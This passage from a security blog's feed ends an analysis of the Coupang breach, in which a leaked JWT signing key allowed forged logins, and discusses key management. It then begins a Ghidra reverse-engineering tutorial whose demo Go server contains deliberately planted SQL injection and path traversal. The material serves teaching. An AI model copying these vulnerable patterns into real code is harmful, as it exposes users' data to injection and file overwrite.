operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"openid"</span><span class="token punctuation">,</span>    <span class="token string">"offline"</span><span class="token punctuation">,</span>    <span class="token string">"core"</span><span class="token punctuation">,</span>    <span class="token string">"core-shared"</span><span class="token punctuation">,</span>    <span class="token string">"pay"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"sub"</span><span class="token operator">:</span> <span class="token string">"556683653781741"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Although I don’t know the internal technical implementation details of Coupang and can’t be 100% sure it’s a JWT token, since the mechanism of signing tokens for identity verification is most suitable with JWT tokens, let’s assume it’s a JWT token for now. Even if something else is used behind the scenes, the process should be similar.</p><p>At this point, it’s already quite clear how the attacker got in: they obtained the signing key (or you could also say the JWT secret) while still employed, so after leaving the company, they used this signing key to sign tokens themselves. The server verified it as legitimate and let them through, allowing them to log into someone else’s account. Once logged in, they could access personal information on pages like “my profile.”</p><p>So this is actually not an external attack; it wasn’t an external hacker exploiting a vulnerability in the auth system. Instead, it’s an insider threat, where a former employee used internal information obtained during their employment to breach the system.</p><p>Next, we can look at this issue from two angles: why an internal key was accessible to a developer, and the risks of using JWT tokens as an auth verification mechanism.</p><h2><span id="key-management-lifecycle">Key Management Lifecycle</span></h2><p>Keys are important; everyone knows this. The lifecycle of a key actually consists of several stages:</p><ol><li>Key Generation </li><li>Key Storage </li><li>Key Distribution</li><li>Key Usage</li><li>Key Rotation</li><li>Key Destruction</li></ol><p>The first step is to generate a secret key and ensure that the generation method is secure. This step usually emphasizes using secure algorithms, sufficiently random entropy, and a secure environment, etc. A problematic example would be using an insecure random number generator (like <code>Math.random()</code>) or generating the key in an insecure environment, such as on a developer’s local machine.</p><p>After generation, a secure location must be chosen for storage, such as an HSM or KMS. A counterexample would be storing it in plaintext on a specific machine.</p><p>Next, when the system needs to use this key, it must be able to securely transfer the key from the storage location to the usage location. A counterexample would be transmitting the key directly over HTTP on an internal network, where anyone intercepting the packets could see the plaintext key.</p><p>When using the key, it must be used correctly. The key should only be used for its intended purpose, and access should be restricted to those who can use it. For example, if I generate one key and every system uses the same one, that is an incorrect usage method. If it gets stolen, every system is compromised. There should be one key for auth, one for payment, or even multiple keys within the same system.</p><p>From Coupang’s public statement, it can be seen that although their auth key was leaked, payment-related services were unaffected, and no data was leaked. The investigation report from Korea also indicated that the impact was limited to pages like “My Information,” excluding payment-related information.</p><p>Finally, regarding key retirement, key rotation should be performed regularly to replace keys and limit the attack time window. After a key is completely destroyed, it must be ensured that it cannot be recovered, and that key should not be used again.</p><p>In this lifecycle, any step with an issue could lead to key leakage.</p><p>In the case of Coupang, since a former employee could access the key, it suggests that there was an error in the first two steps. The investigation report pointed out that the current employee’s computer also had this key:</p><blockquote><p>A forensic examination of laptops used by current developers confirmed that the signing key, which was required to be stored exclusively within the key management system, had also been stored locally on developer laptops (via hardcoding).</p></blockquote><p>Many companies, when managing keys, may only consider half of the process. For example, they might know to use some Secret Manager or vault to store keys and securely transmit them for system use, but overlook other steps, such as key generation.</p><p>How was this key generated? Many companies might have a developer generate a key locally and then pass it to SRE, who configures it in the vault. In this process, the key has already been known to at least two internal employees, and there isn’t much logging available to check, as this occurs before the key is placed in the vault.</p><p>When the key is managed elsewhere, it is possible for SREs to have the permission to directly view the plaintext of the key and steal it. However, the vault system should have an access log that can be traced back. But if the logging occurs before the key is placed in, there will be no record, creating a security vulnerability.</p><p>Although the risk of insiders is relatively lower compared to other categories, as internal malfeasance is usually easier to detect and can lead to legal consequences, once it occurs, it can still cause significant damage to the company’s reputation, just like the recent Coupang incident.</p><h2><span id="safer-key-management-methods">Safer Key Management Methods</span></h2><p>Earlier, it was mentioned that many companies have no issues with key storage, but they do not do well in the key generation phase, allowing insiders to directly obtain the key, thus introducing internal risks.</p><p>Therefore, the safest method is “no one knows what this key is.”</p><p>“Anyone” includes SREs, CISO, CEO, or developers; no one knows what the key actually is.</p><p>For example, if you originally allowed SREs to generate the key themselves and then place it in AWS Secret Manager, you could change it to directly use the AWS Secret Manager’s <a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/create_secret.html">create-secret</a> command to generate a key and store it:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">aws secretsmanager create-secret <span class="token punctuation">\</span>  <span class="token parameter variable">--name</span> jwt-secret <span class="token punctuation">\</span>  --generate-secret-string <span class="token string">'&#123;"PasswordLength":64&#125;'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>(This is just an example using AWS; similar services from other clouds should be about the same.)</p><p>In this way, when the key is generated, no one will know its contents.</p><p>Although this method is already safer than the previous one, upon closer inspection, there are still a few issues.</p><p>First, the key stored in AWS Secret Manager can be read; if you have the <code>secretsmanager:GetSecretValue</code> permission, you can read it. So if an SRE has this permission or sets it for themselves through other means, they can still access it.</p><p>Second, since the system needs to use this key, it must be readable. If a developer modifies a piece of code to dump the key’s contents into the log during CI or system startup, they can still know the plaintext of the key.</p><p>Both of these methods will leave records, such as AWS permission change logs, key read logs, and code commit logs, etc. Moreover, the attack premise of the second method is not low; usually, code needs to go through PR review before being pushed to production, and it may also be directly caught by DLP when printed.</p><p>But regardless of whether evidence is left behind, the point is that if an insider is determined to do harm, they can still obtain it.</p><p>One solution is to start with key rotation. When personnel who can access the key leave, remember to rotate all related keys to prevent leakage. Although we cannot prevent current employees from doing harm, at least we ensure that they automatically lose all permissions after leaving, and any information or keys they accessed while employed can no longer be used.</p><p>If you want to be even safer, even current employees should not be allowed to touch the key. This means removing the premise that “the system needs to obtain the key to encrypt and decrypt,” and instead, moving the encryption and decryption process to another trusted location.</p><p>This is what KMS (Key Management Service) commonly does.</p><p>In this type of service, you cannot obtain the key; it only exposes a few APIs to you, such as:</p><ol><li>Encrypt</li><li>Decrypt</li><li>Sign</li><li>Verify</li></ol><p>So when you need to encrypt or decrypt, you call the KMS API and wait for the result. In this process, you do not need the key at all; from key generation to usage, everything is done within KMS.</p><p>In simple terms, it is about isolating these key-related operations into a subsystem.</p><p>However, merely isolating it into a subsystem does not fundamentally solve the problem; this subsystem will encounter the same issue: what if the KMS is compromised? Will the key be leaked?</p><p>If you want to ensure that the key is truly not leaked (as completely as possible, but certainly not 100%), the ultimate solution is to hand over key management to specialized hardware, namely HSM (Hardware Security Module). These hardware devices are specifically designed to protect keys and even consider the risk of physical attacks, similar to what you see in movies, where a safe detects an intrusion attempt and self-destructs.</p><p>However, enterprise-grade HSMs typically start at hundreds of thousands of TWD. Besides purchasing HSMs, cloud service KMS can also be paired with Cloud HSM. For example, AWS’s <a href="https://docs.aws.amazon.com/pdfs/kms/latest/cryptographic-details/kms-crypto-details.pdf">KMS documentation</a> states:</p><blockquote><p>If the Origin is AWS_KMS, after the ARN is created, a request to an AWS KMS HSM is made over an authenticated session to provision a hardware security module (HSM) backing key (HBK).</p></blockquote><p>Speaking of Secret Manager and KMS, the concepts are somewhat similar in certain aspects, so let’s briefly discuss the differences.</p><p>Secret Manager is solely responsible for managing secrets, which can be tokens for calling third-party APIs or passwords for logging into certain services. These are all secrets, but they are not necessarily “keys,” as the term “key” specifically refers to cryptographic keys.</p><p>Key Management Service, on the other hand, is dedicated to managing keys, providing APIs related to encryption, decryption, and digital signatures, revolving around keys. Therefore, it also considers the generation of keys and their entire lifecycle, which is the difference between Secret Manager and KMS.</p><p>In simple terms, Secret Manager addresses “how to securely store secret information,” while KMS addresses “how to securely manage and use cryptographic keys.”</p><p>However, why do we put so much effort into protecting this key? That’s because, in the case of a JWT token, once the private key is taken, it can directly forge the identity of any user to log in… etc. Isn’t that a bit strange?</p><h2><span id="additional-risks-of-using-jwt-tokens">Additional Risks of Using JWT Tokens</span></h2><p>In this classic article from 2016, <a href="http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/">Stop using JWT for sessions</a>, three terms are defined:</p><ol><li>Stateless JWT: session data is stored directly in the JWT</li><li>Stateful JWT: only session ID is stored in the JWT</li><li>Session token&#x2F;cookie: traditional method, cookie stores session ID</li></ol><p>What I want to discuss this time is mainly the first type.</p><p>In the first scenario, since the user’s data is stored directly in the JWT, if the JWT can be forged, it can lead to serious problems, just like this incident with Coupang.</p><p>However, if we use the traditional method or the second type, where we only store the session ID, since this is a random string, under unpredictable circumstances, attackers cannot do much more. Therefore, even if they obtain the key, they cannot directly forge identities.</p><p>In other words, the stateless JWT approach actually has a risk: if the key is stolen, it’s game over, so protecting the key becomes very important.</p><p>Another point to note is that if asymmetric encryption is used, in addition to protecting the private key, the public key also needs to be protected.</p><p>Huh? Why does the public key need protection?</p><p>Because the system uses the public key for verification, and this public key is usually placed at a fixed URL, such as .well-known&#x2F;jwks.json.</p><p>If this URL is compromised, attackers can generate a new key pair and replace the public key, allowing them to pass with their own signed JWT token. Although all keys signed through legitimate channels will fail and the system will definitely raise an alarm, attackers still have a time window to successfully forge identities.</p><p>Therefore, both the private key and the public key need to be protected.</p><h2><span id="conclusion">Conclusion</span></h2><p>In the past, the first reaction to security incidents was often external hacker intrusions, but this time we saw a real case of an insider. The identity of “internal employees” inherently has more privileges and access to more information, and “internal developers” have even more access, especially if they are “developers of the internal auth system.”</p><p>Even after leaving the company, they still know more internal details than others and can more easily exploit vulnerabilities from the outside (for example, by stealing a piece of code and exploiting a vulnerability to gain access, or using known but unpatched vulnerabilities, etc.).</p><p>From the investigation report in Korea, we, as outsiders, can also get a glimpse of the technical details, trying to piece together which systems had issues and how to improve.</p><p>I believe many companies have some issues in generating keys; I’ve seen many cases where developers or SREs generate them and then store them in Secret Manager. Many companies also lack the resources to set up a KMS (or some may not have thought about it or realized the need to do so). These are all risks and will be discussed under the framework of risk management. Many companies currently choose to accept the risk, acknowledging its existence but deciding not to address it due to the low probability of occurrence.</p><p>If there is indeed a former employee who manages to sneak out some data, similar incidents are likely to happen again.</p><p>While observing this incident, I couldn’t help but think of my previous experience working in cryptocurrency-related insurance, as managing keys is crucial for exchanges, especially the private keys of wallets, which directly relate to large sums of money. At that time, I also looked into many methods for protecting private keys, took a lot of notes, and learned many technical terms. The HSM, KMS mentioned in this article, or the DEK (Data Encryption Key), KEK (Key Encryption Key), and envelope encryption that weren’t mentioned, are all quite interesting.</p><p>If I can retrieve the notes I wrote in the past and the memories that are gradually fading, I will come back to write another article later.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Since November last year, the data breach incident at Coupang has attracted considerable attention, partly due to the reportedly massive amount of leaked data, and partly because the company has a presence in Taiwan. As the investigation progresses, more and more details have emerged, even being described as like a movie plot, with efforts to retrieve hard drives from rivers.&lt;/p&gt;
&lt;p&gt;Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Using AI to Do Simple Reverse Engineering</title>
    <link href="https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/"/>
    <id>https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/</id>
    <published>2026-03-01T04:20:08.000Z</published>
    <updated>2026-03-01T12:57:47.804Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.</p><p>However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.</p><p>But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.</p><p>To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.</p><p>For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.</p><span id="more"></span><h2><span id="environment-preparation">Environment Preparation</span></h2><p>To demonstrate the overall process, I randomly had AI write a Golang server with registration, login, and file upload features. The file structure is:</p><pre class="line-numbers language-none"><code class="language-none">.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>For the content, I’ll just paste a few of the main files. One is the route:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  userHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewUserHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  avatarHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  authMiddleware <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>JWTSecret<span class="token punctuation">)</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/me/messages"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/me/avatar"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Next are the two intentionally embedded vulnerabilities: SQL injection during registration:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"fmt"</span>  <span class="token string">"net/http"</span>  <span class="token string">"time"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"github.com/golang-jwt/jwt/v5"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span>  <span class="token string">"membership-api/models"</span><span class="token punctuation">)</span><span class="token keyword">type</span> RegisterRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Email    <span class="token builtin">string</span> <span class="token string">`json:"email" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> LoginRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> AuthHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AuthHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  passwordHash<span class="token punctuation">,</span> err <span class="token operator">:=</span> models<span class="token punctuation">.</span><span class="token function">HashPassword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')"</span><span class="token punctuation">,</span>    req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> passwordHash<span class="token punctuation">)</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span>query<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>And path traversal during file upload:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"net/http"</span>  <span class="token string">"path/filepath"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">type</span> AvatarHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AvatarHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AvatarHandler<span class="token punctuation">)</span> <span class="token function">Upload</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  userID<span class="token punctuation">,</span> ok <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">GetUserID</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span>  <span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusUnauthorized<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"unauthorized"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  file<span class="token punctuation">,</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">FormFile</span><span class="token punctuation">(</span><span class="token string">"avatar"</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"missing avatar file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  savePath <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>UploadDir<span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">SaveUploadedFile</span><span class="token punctuation">(</span>file<span class="token punctuation">,</span> savePath<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to save file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span><span class="token string">"UPDATE users SET avatar_path = ? WHERE id = ?"</span><span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">,</span> userID<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to update avatar"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusOK<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"avatar uploaded"</span><span class="token punctuation">,</span> <span class="token string">"path"</span><span class="token punctuation">:</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After writing it, I used this command to build it, removing everything that shouldn’t be there to simulate a more realistic scenario:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> go build <span class="token parameter variable">-ldflags</span><span class="token operator">=</span><span class="token string">"-s -w"</span> <span class="token parameter variable">-trimpath</span> <span class="token parameter variable">-o</span> dist/membership-api <span class="token builtin class-name">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="preliminary-work">Preliminary Work</span></h2><p>Since our binary is stripped, all related symbols have been removed. Therefore, finding a useful plugin can help us restore Golang-related information more conveniently. I chose this one: <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension</a></p><p>When analyzing, remember to check the relevant options:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p1.png" alt="analysis"></p><p>After the analysis, you can actually see more detailed information in Ghidra:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p2.png" alt="golang analysis"></p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p3.png" alt="c code"></p><p>But this still requires manual inspection. For someone like me who doesn’t know how to operate Ghidra, I just throw the binary in and don’t know how to look at it.</p><p>So, we need to install something that truly connects AI with Ghidra: <a href="https://github.com/LaurieWired/GhidraMCP">GhidraMCP</a>. There seem to be about two or three versions that many people use, so I randomly picked one that looked like it had better documentation and was easier to run.</p><p>After installation and enabling it in Ghidra, configure MCP on the AI side. For example, I’m using Cursor, so I set it up like this:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"mcpServers"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"ghidra"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token property">"command"</span><span class="token operator">:</span> <span class="token string">"python"</span><span class="token punctuation">,</span>      <span class="token property">"args"</span><span class="token operator">:</span> <span 